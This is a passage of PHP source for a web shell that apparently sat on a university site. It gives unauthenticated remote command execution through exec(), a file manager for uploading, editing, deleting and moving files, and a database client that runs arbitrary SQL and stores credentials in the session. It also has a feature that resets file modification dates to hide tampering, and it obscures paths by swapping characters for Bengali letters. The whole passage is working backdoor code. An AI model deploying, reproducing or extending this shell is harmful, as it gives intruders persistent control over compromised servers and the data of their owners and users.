VULN_CHECK_0COQYT&1"; exec($full_command, $output, $return_var); $result = array( 'output' => implode("\n", $output), 'return_code' => $return_var, 'command' => $command, 'working_dir' => $working_dir ); header('Content-Type: application/json'); echo json_encode($result); exit; } // Start session for database connections session_start(); // Helper function for path encoding function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } // Determine PATH early $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $current_path = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { $current_path = $root_path; } else { $current_path = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { $current_path = $root_path; } else { $current_path = decodePath($_GET['q']); } } else { $current_path = $root_path; } // Handle database connection - BEFORE ANY HTML OUTPUT if (isset($_POST['db_connect'])) { $db_type = $_POST['db_type']; $db_host = $_POST['db_host']; $db_user = $_POST['db_user']; $db_pass = $_POST['db_pass']; $db_name = isset($_POST['db_name']) ? trim($_POST['db_name']) : ''; try { if ($db_type === 'mysql') { $dsn = "mysql:host=$db_host"; if (!empty($db_name)) { $dsn .= ";dbname=$db_name"; } $pdo = new PDO($dsn, $db_user, $db_pass); } elseif ($db_type === 'sqlite') { $pdo = new PDO("sqlite:$db_host"); } elseif ($db_type === 'pgsql') { $dsn = "pgsql:host=$db_host"; if (!empty($db_name)) { $dsn .= ";dbname=$db_name"; } $pdo = new PDO($dsn, $db_user, $db_pass); } $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $_SESSION['db_connection'] = [ 'type' => $db_type, 'host' => $db_host, 'user' => $db_user, 'pass' => $db_pass, 'name' => $db_name ]; // Redirect after successful connection header("Location: ?db=overview&q=" . urlencode(encodePath($current_path))); exit; } catch (PDOException $e) { $_SESSION['db_error'] = $e->getMessage(); } } // Handle disconnect - BEFORE ANY HTML OUTPUT if (isset($_GET['db_disconnect'])) { unset($_SESSION['db_connection']); header("Location: ?dbconnect&q=" . urlencode(encodePath($current_path))); exit; } ?> eclass.unmer.ac.id = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } // Delete directory recursively function deleteDirectory($dir) { if (!is_dir($dir)) { return false; } $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . '/' . $file; if (is_dir($path)) { deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); // Handle bulk delete if (isset($_POST['bulk_delete']) && isset($_POST['selected_items'])) { $items = $_POST['selected_items']; $success = 0; $failed = 0; foreach ($items as $item) { $itemPath = PATH . "/" . $item; if (is_file($itemPath)) { if (unlink($itemPath)) { $success++; } else { $failed++; } } elseif (is_dir($itemPath)) { if (deleteDirectory($itemPath)) { $success++; } else { $failed++; } } } echo (""); } // Handle bulk move if (isset($_POST['bulk_move']) && isset($_POST['selected_items'])) { $items = $_POST['selected_items']; $destination = trim($_POST['bulk_move_destination']); $success = 0; $failed = 0; if (!empty($destination) && is_dir($destination)) { foreach ($items as $item) { $itemPath = PATH . "/" . $item; $destPath = $destination . "/" . $item; if (file_exists($itemPath) && !file_exists($destPath)) { if (rename($itemPath, $destPath)) { $success++; } else { $failed++; } } else { $failed++; } } echo (""); } else { echo (""); } } // Handle create new file if (isset($_POST['create_file'])) { $newFileName = trim($_POST['new_filename']); if (!empty($newFileName)) { $newFilePath = PATH . "/" . $newFileName; if (file_exists($newFilePath)) { echo (""); } else { $content = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : ''; if (file_put_contents($newFilePath, $content) !== false) { echo (""); } else { echo (""); } } } } // Handle create new folder if (isset($_POST['create_folder'])) { $newFolderName = trim($_POST['new_foldername']); if (!empty($newFolderName)) { $newFolderPath = PATH . "/" . $newFolderName; if (file_exists($newFolderPath)) { echo (""); } else { if (mkdir($newFolderPath, 0755)) { echo (""); } else { echo (""); } } } } // Handle move file/folder if (isset($_POST['move_item']) && isset($_GET['m'])) { $itemToMove = PATH . "/" . $_GET['m']; $destination = trim($_POST['move_destination']); if (!empty($destination) && file_exists($itemToMove)) { $destPath = $destination . "/" . $_GET['m']; if (file_exists($destPath)) { echo (""); } elseif (!is_dir($destination)) { echo (""); } else { if (rename($itemToMove, $destPath)) { echo (""); } else { echo (""); } } } } // Handle change file date if (isset($_POST['change_date']) && isset($_GET['t'])) { $targetFile = PATH . "/" . $_GET['t']; $newDate = strtotime($_POST['new_datetime']); if ($newDate && file_exists($targetFile)) { if (touch($targetFile, $newDate, $newDate)) { echo (""); } else { echo (""); } } } echo (' '); // Terminal Interface if (isset($_GET['terminal'])) { echo '
Web Terminal
Working Directory: ' . htmlspecialchars(PATH) . ' Close Terminal
Web Terminal v1.0 - Ready
Current Directory: ' . htmlspecialchars(PATH) . '
$
'; } // Database Manager Interface if (isset($_GET['dbconnect']) || isset($_GET['db'])) { // Check if connected $is_connected = isset($_SESSION['db_connection']); $pdo = null; if ($is_connected) { try { $conn = $_SESSION['db_connection']; if ($conn['type'] === 'mysql') { $dsn = "mysql:host={$conn['host']}"; if (!empty($conn['name'])) { $dsn .= ";dbname={$conn['name']}"; } $pdo = new PDO($dsn, $conn['user'], $conn['pass']); } elseif ($conn['type'] === 'sqlite') { $pdo = new PDO("sqlite:{$conn['host']}"); } elseif ($conn['type'] === 'pgsql') { $dsn = "pgsql:host={$conn['host']}"; if (!empty($conn['name'])) { $dsn .= ";dbname={$conn['name']}"; } $pdo = new PDO($dsn, $conn['user'], $conn['pass']); } $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { $is_connected = false; unset($_SESSION['db_connection']); } } echo '
'; echo '
'; echo '

Database Manager

'; echo '
'; if ($is_connected) { echo '' . strtoupper($conn['type']) . ' @ ' . htmlspecialchars($conn['host']) . ''; echo ''; } echo '
'; if ($is_connected) { echo '
'; echo '
' . htmlspecialchars($conn['name'] ? $conn['name'] : 'Select database') . '
'; // Sidebar menu echo '
Navigation
'; echo ''; // List tables in sidebar try { if (!empty($conn['name']) || $conn['type'] === 'sqlite') { if ($conn['type'] === 'mysql') { $stmt = $pdo->query("SHOW TABLES"); } elseif ($conn['type'] === 'sqlite') { $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'"); } $tables = $stmt->fetchAll(PDO::FETCH_COLUMN); if (count($tables) > 0) { echo '
Tables (' . count($tables) . ')
'; echo ''; } } } catch (PDOException $e) {} echo '
'; echo '
'; } else { echo '
'; } if (!$is_connected) { // Connection Form - Dark Theme echo '
'; echo '
'; echo '

Database Connection

'; // Display error if exists if (isset($_SESSION['db_error'])) { echo '
'; echo ' Connection failed: ' . htmlspecialchars($_SESSION['db_error']); echo '
'; unset($_SESSION['db_error']); } echo '
'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo '
System:
Server:
Username:
Password:
Database:
'; echo '
'; echo ''; echo '
'; echo '
'; echo '
'; echo '
'; } else { // Database is connected, show tabs and content $current_db = $_GET['db'] ?? 'overview'; echo '
'; echo ' Overview'; echo ' SQL Query'; echo ' Tables'; echo '
'; // Overview Tab if ($current_db === 'overview') { try { // Get tables with detailed information if (!empty($conn['name']) || $conn['type'] === 'sqlite') { if ($conn['type'] === 'mysql') { $stmt = $pdo->query("SHOW TABLE STATUS"); $tables = $stmt->fetchAll(PDO::FETCH_ASSOC); } elseif ($conn['type'] === 'sqlite') { $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'"); $table_names = $stmt->fetchAll(PDO::FETCH_COLUMN); $tables = []; foreach ($table_names as $tname) { $tables[] = ['Name' => $tname]; } } if (count($tables) > 0) { echo '

Tables and views

'; echo '

Search tables in database:

'; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; foreach ($tables as $table) { $tname = $table['Name']; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
TableEngineCollationData LengthIndex LengthData FreeAuto IncrementRows
' . htmlspecialchars($tname) . '' . htmlspecialchars($table['Engine'] ?? 'MyISAM') . '' . htmlspecialchars($table['Collation'] ?? 'utf8mb4_unicode_520_ci') . '' . number_format($table['Data_length'] ?? 0) . '' . number_format($table['Index_length'] ?? 0) . '' . ($table['Data_free'] ?? 0) . '' . ($table['Auto_increment'] ?? '') . '' . number_format($table['Rows'] ?? 0) . 'Alter
'; echo '
'; echo '

Selected: '; echo ' '; echo ' '; echo ' '; echo ''; echo '

'; } else { echo '

No tables found.

'; } } else { // Show database list if no database selected if ($conn['type'] === 'mysql') { $stmt = $pdo->query("SHOW DATABASES"); $databases = $stmt->fetchAll(PDO::FETCH_COLUMN); echo '

Databases

'; echo ''; echo ''; foreach ($databases as $db) { echo ''; echo ''; echo ''; } echo '
Database
' . htmlspecialchars($db) . '
'; } } } catch (PDOException $e) { echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
'; } } // SQL Query Tab elseif ($current_db === 'sql') { if (isset($_POST['execute_sql'])) { $sql = $_POST['sql_query']; try { $start_time = microtime(true); $stmt = $pdo->query($sql); $execution_time = round((microtime(true) - $start_time) * 1000, 2); // Check if it's a SELECT query if ($stmt->columnCount() > 0) { $results = $stmt->fetchAll(PDO::FETCH_ASSOC); echo '
Query executed OK, ' . count($results) . ' rows affected (' . $execution_time . ' ms)
'; if (count($results) > 0) { echo ''; echo ''; foreach (array_keys($results[0]) as $column) { echo ''; } echo ''; foreach ($results as $row) { echo ''; foreach ($row as $value) { echo ''; } echo ''; } echo '
' . htmlspecialchars($column) . '
' . htmlspecialchars($value ?? 'NULL') . '
'; } } else { $affected = $stmt->rowCount(); echo '
Query executed OK, ' . $affected . ' rows affected (' . $execution_time . ' ms)
'; } } catch (PDOException $e) { echo '
Error in query: ' . htmlspecialchars($e->getMessage()) . '
'; } } echo '
'; echo '

Type:

'; echo ''; echo '

'; echo ''; echo '

'; echo '
'; } // Tables List Tab elseif ($current_db === 'tables') { try { if ($conn['type'] === 'mysql') { $stmt = $pdo->query("SHOW TABLES"); } elseif ($conn['type'] === 'sqlite') { $stmt = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'"); } elseif ($conn['type'] === 'pgsql') { $stmt = $pdo->query("SELECT tablename FROM pg_tables WHERE schemaname='public'"); } $tables = $stmt->fetchAll(PDO::FETCH_COLUMN); echo '

Database Tables (' . count($tables) . ')

'; echo ''; echo ''; echo ''; echo ''; echo ''; foreach ($tables as $table) { echo ''; echo ''; echo ''; echo ''; } echo '
Table NameActions
' . htmlspecialchars($table) . ''; echo 'Browse | '; echo 'Structure'; echo '
'; } catch (PDOException $e) { echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
'; } } // View Table Data elseif ($current_db === 'table' && isset($_GET['tablename'])) { $table = $_GET['tablename']; $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; $per_page = 50; $offset = ($page - 1) * $per_page; try { // Get primary key $primary_key = null; if ($conn['type'] === 'mysql') { $pk_stmt = $pdo->query("SHOW KEYS FROM `$table` WHERE Key_name = 'PRIMARY'"); $pk_result = $pk_stmt->fetch(PDO::FETCH_ASSOC); if ($pk_result) { $primary_key = $pk_result['Column_name']; } } elseif ($conn['type'] === 'sqlite') { $pk_stmt = $pdo->query("PRAGMA table_info(`$table`)"); $columns = $pk_stmt->fetchAll(PDO::FETCH_ASSOC); foreach ($columns as $col) { if ($col['pk'] == 1) { $primary_key = $col['name']; break; } } } // Get total count $count_stmt = $pdo->query("SELECT COUNT(*) FROM `$table`"); $total_rows = $count_stmt->fetchColumn(); $total_pages = ceil($total_rows / $per_page); // Get data $stmt = $pdo->query("SELECT * FROM `$table` LIMIT $per_page OFFSET $offset"); $results = $stmt->fetchAll(PDO::FETCH_ASSOC); echo '
'; echo '

Table: ' . htmlspecialchars($table) . '

'; echo ''; echo ' Insert New Record'; echo '
'; if (count($results) > 0) { // Info bar echo '
'; echo 'Showing ' . ($offset + 1) . '-' . min($offset + $per_page, $total_rows) . ' of ' . number_format($total_rows) . ' rows'; echo '
'; // Table echo '
'; echo ''; echo ''; foreach (array_keys($results[0]) as $column) { echo ''; } echo ''; echo ''; foreach ($results as $row) { echo ''; foreach ($row as $key => $value) { $display_value = htmlspecialchars($value ?? 'NULL'); // Truncate but show in tooltip if (strlen($display_value) > 80) { $short = substr($display_value, 0, 80) . '...'; echo ''; } else { echo ''; } } echo ''; echo ''; } echo '
' . htmlspecialchars($column) . 'Actions
' . $short . '
' . $display_value . '
'; if ($primary_key && isset($row[$primary_key])) { echo ''; echo ' '; echo ''; echo ''; } else { echo 'No PK'; } echo '
'; echo '
'; // Pagination if ($total_pages > 1) { echo '
'; if ($page > 1) { echo ''; echo ' Previous'; } echo 'Page ' . $page . ' of ' . $total_pages . ''; if ($page < $total_pages) { echo ''; echo 'Next '; } echo '
'; } } else { echo '
No records found in this table.
'; } } catch (PDOException $e) { echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
'; } } // Edit Record elseif ($current_db === 'edit' && isset($_GET['tablename']) && isset($_GET['id'])) { $table = $_GET['tablename']; $pk = $_GET['pk']; $id = $_GET['id']; try { // Handle form submission if (isset($_POST['update_record'])) { $updates = []; $params = []; foreach ($_POST as $key => $value) { if ($key !== 'update_record') { $updates[] = "`$key` = ?"; $params[] = $value; } } $params[] = $id; $sql = "UPDATE `$table` SET " . implode(', ', $updates) . " WHERE `$pk` = ?"; $stmt = $pdo->prepare($sql); $stmt->execute($params); echo ""; } // Get current record $stmt = $pdo->prepare("SELECT * FROM `$table` WHERE `$pk` = ?"); $stmt->execute([$id]); $record = $stmt->fetch(PDO::FETCH_ASSOC); if (!$record) { echo '
Record not found!
'; } else { echo '
Edit Record in Table: ' . htmlspecialchars($table) . '
'; echo '
'; echo '
'; foreach ($record as $column => $value) { echo '
'; echo ''; // Check if it's a text field (long content) if (strlen($value) > 100) { echo ''; } else { // Disable primary key field $disabled = ($column === $pk) ? 'readonly' : ''; echo ''; } echo '
'; } echo '
'; echo '
'; echo ''; echo 'Cancel'; echo '
'; echo '
'; } } catch (PDOException $e) { echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
'; } } // Insert Record elseif ($current_db === 'insert' && isset($_GET['tablename'])) { $table = $_GET['tablename']; try { // Handle form submission if (isset($_POST['insert_record'])) { $columns = []; $values = []; $params = []; foreach ($_POST as $key => $value) { if ($key !== 'insert_record' && $value !== '') { $columns[] = "`$key`"; $values[] = "?"; $params[] = $value; } } if (count($columns) > 0) { $sql = "INSERT INTO `$table` (" . implode(', ', $columns) . ") VALUES (" . implode(', ', $values) . ")"; $stmt = $pdo->prepare($sql); $stmt->execute($params); echo ""; } } // Get table structure if ($conn['type'] === 'mysql') { $stmt = $pdo->query("DESCRIBE `$table`"); $columns = $stmt->fetchAll(PDO::FETCH_ASSOC); } elseif ($conn['type'] === 'sqlite') { $stmt = $pdo->query("PRAGMA table_info(`$table`)"); $columns = $stmt->fetchAll(PDO::FETCH_ASSOC); } echo '
Insert New Record into Table: ' . htmlspecialchars($table) . '
'; echo '
'; echo '
'; foreach ($columns as $column) { $col_name = $conn['type'] === 'mysql' ? $column['Field'] : $column['name']; $col_type = $conn['type'] === 'mysql' ? $column['Type'] : $column['type']; $is_auto = ($conn['type'] === 'mysql' && strpos($column['Extra'], 'auto_increment') !== false) || ($conn['type'] === 'sqlite' && $column['pk'] == 1); echo '
'; echo ''; if ($is_auto) { echo ''; } else { // Determine input type based on column type if (strpos(strtolower($col_type), 'text') !== false || strpos(strtolower($col_type), 'blob') !== false) { echo ''; } elseif (strpos(strtolower($col_type), 'int') !== false) { echo ''; } elseif (strpos(strtolower($col_type), 'date') !== false) { echo ''; } else { echo ''; } } echo '
'; } echo '
'; echo '
'; echo ''; echo 'Cancel'; echo '
'; echo '
'; } catch (PDOException $e) { echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
'; } } // Delete Record elseif ($current_db === 'delete' && isset($_GET['tablename']) && isset($_GET['id'])) { $table = $_GET['tablename']; $pk = $_GET['pk']; $id = $_GET['id']; try { $stmt = $pdo->prepare("DELETE FROM `$table` WHERE `$pk` = ?"); $stmt->execute([$id]); echo ""; } catch (PDOException $e) { echo '
Error deleting record: ' . htmlspecialchars($e->getMessage()) . '
'; echo 'Back to Table'; } } // View Table Structure elseif ($current_db === 'structure' && isset($_GET['tablename'])) { $table = $_GET['tablename']; try { if ($conn['type'] === 'mysql') { $stmt = $pdo->query("DESCRIBE `$table`"); } elseif ($conn['type'] === 'sqlite') { $stmt = $pdo->query("PRAGMA table_info(`$table`)"); } elseif ($conn['type'] === 'pgsql') { $stmt = $pdo->query("SELECT column_name, data_type, is_nullable FROM information_schema.columns WHERE table_name = '$table'"); } $columns = $stmt->fetchAll(PDO::FETCH_ASSOC); echo '
Table Structure: ' . htmlspecialchars($table) . '
'; echo ''; echo ''; foreach (array_keys($columns[0]) as $col) { echo ''; } echo ''; foreach ($columns as $column) { echo ''; foreach ($column as $value) { echo ''; } echo ''; } echo '
' . htmlspecialchars($col) . '
' . htmlspecialchars($value ?? 'NULL') . '
'; } catch (PDOException $e) { echo '
Error: ' . htmlspecialchars($e->getMessage()) . '
'; } } // Select Database elseif ($current_db === 'selectdb' && isset($_GET['dbname'])) { $dbname = $_GET['dbname']; $_SESSION['db_connection']['name'] = $dbname; echo ""; } } echo '
'; // Close db-manager-content echo '
'; // Close db-manager-container } // New File Form if (isset($_GET['newfile'])) { echo '
Create New File
Cancel
'; } // New Folder Form if (isset($_GET['newfolder'])) { echo '
Create New Folder
Cancel
'; } // Change Date Form if (isset($_GET['t']) && isset($_GET['q'])) { $targetFile = PATH . "/" . $_GET['t']; if (file_exists($targetFile)) { $currentDate = date('Y-m-d\TH:i', filemtime($targetFile)); echo '
Change Date/Time for: ' . htmlspecialchars($_GET['t']) . '
Cancel
'; } } // Move File/Folder Form if (isset($_GET['m']) && isset($_GET['q'])) { $itemToMove = PATH . "/" . $_GET['m']; if (file_exists($itemToMove)) { echo '
Move: ' . htmlspecialchars($_GET['m']) . '

Current location: ' . htmlspecialchars(PATH) . '

Cancel
'; } } if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } // Bulk Actions Bar echo '
0 item(s) selected
'; echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . htmlspecialchars($folder) . " --- ". date("F d Y H:i:s", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . htmlspecialchars($file) . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Upload File
Cancel
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename
Cancel
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '
Edit File: ' . htmlspecialchars($_GET['e']) . '

Cancel
'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "
".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.
"; } else { echo "
Sorry, there was an error uploading your file.
"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(deleteDirectory($name)) { echo (""); } else { echo (""); } } } ?>